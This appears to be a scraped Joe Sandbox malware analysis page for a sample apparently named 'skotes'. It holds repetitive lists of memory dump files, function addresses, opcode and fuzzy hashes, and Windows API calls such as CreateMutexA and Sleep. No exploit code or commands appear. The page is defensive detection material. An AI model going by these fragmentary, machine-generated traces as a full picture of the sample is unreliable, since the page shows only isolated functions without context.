Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 3c838cbb18f3fdc22dbd3366c612171ce7e9ce339afa425fdebbedcc32dac3b2
Instruction ID: 77028b9e42236e78e0896717290a1ee187bc765a72956fd96233284a6eace2fb
Opcode Fuzzy Hash: 3c838cbb18f3fdc22dbd3366c612171ce7e9ce339afa425fdebbedcc32dac3b2
Instruction Fuzzy Hash: 9F31A8326851008BEB08DBB8DD88BADB766EFD1314F24C21AF014AB3E5C77599D08B52

Function 009DA54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 009DA550
Sleep.KERNEL32(00000064,?), ref: 009DA963
CreateMutexA.KERNEL32(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 00a3a55f9419441bc1dec2d071b787b30779aa3fa177d7b485dbfde158238947
Instruction ID: 9cc0148f81cbcf04fcb8122f40c1aaac888696b64b9dfb5658d9e2a12b5f4b2c
Opcode Fuzzy Hash: 00a3a55f9419441bc1dec2d071b787b30779aa3fa177d7b485dbfde158238947
Instruction Fuzzy Hash: FB3179316851048BFB08DBB8DD89B6DB766EFC5318F24C61AF014AB3D1C7799D908B52

Function 009DA682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 009DA685
Sleep.KERNEL32(00000064,?), ref: 009DA963
CreateMutexA.KERNEL32(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: ce33600779285070b26c3ced880220dda5effe04bc6ccc55eb2de0b693825aa5
Instruction ID: 34afe3a7449dc5533ab82e470c4d9e9ffe7afeef8c2b29c819db53a9db78be4a
Opcode Fuzzy Hash: ce33600779285070b26c3ced880220dda5effe04bc6ccc55eb2de0b693825aa5
Instruction Fuzzy Hash: A6318B31A84144CBEB08DBB8DD8976DB7B6EFD1314F24C61AE014E73E1C77599908752

Function 009DA7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 009DA7BA
Sleep.KERNEL32(00000064,?), ref: 009DA963
CreateMutexA.KERNEL32(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 490cf88621281f98b5390f7bdb4a51152e4370db95b68477f1f92d44336b472f
Instruction ID: a88c3525d90742ededb521911860e1dc646f4e7e24fdf3d15acf3e4daba6b699
Opcode Fuzzy Hash: 490cf88621281f98b5390f7bdb4a51152e4370db95b68477f1f92d44336b472f
Instruction Fuzzy Hash: 80317731A85104CBEB08DB78CD88BADB766EFC1314F24C21AE414A73E1C7759D918B52

Function 009D8380 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 009D8524

Strings

`, xrefs: 009D843F

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: `
API String ID: 1721193555-4168407445
Opcode ID: db77c21d868936b97d9015e1e7909a3a458bab6fef8fb7e41879911ed3f33b64
Instruction ID: 03e0eb16b2a4382faf8215db06df652e7990309ddc60f97d09d33056190ab095
Opcode Fuzzy Hash: db77c21d868936b97d9015e1e7909a3a458bab6fef8fb7e41879911ed3f33b64
Instruction Fuzzy Hash: 03514670D542489BEB24EB68DD45BDEB774EB45310F5082EAF814A73D2DF349E808B91

Function 00A06E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
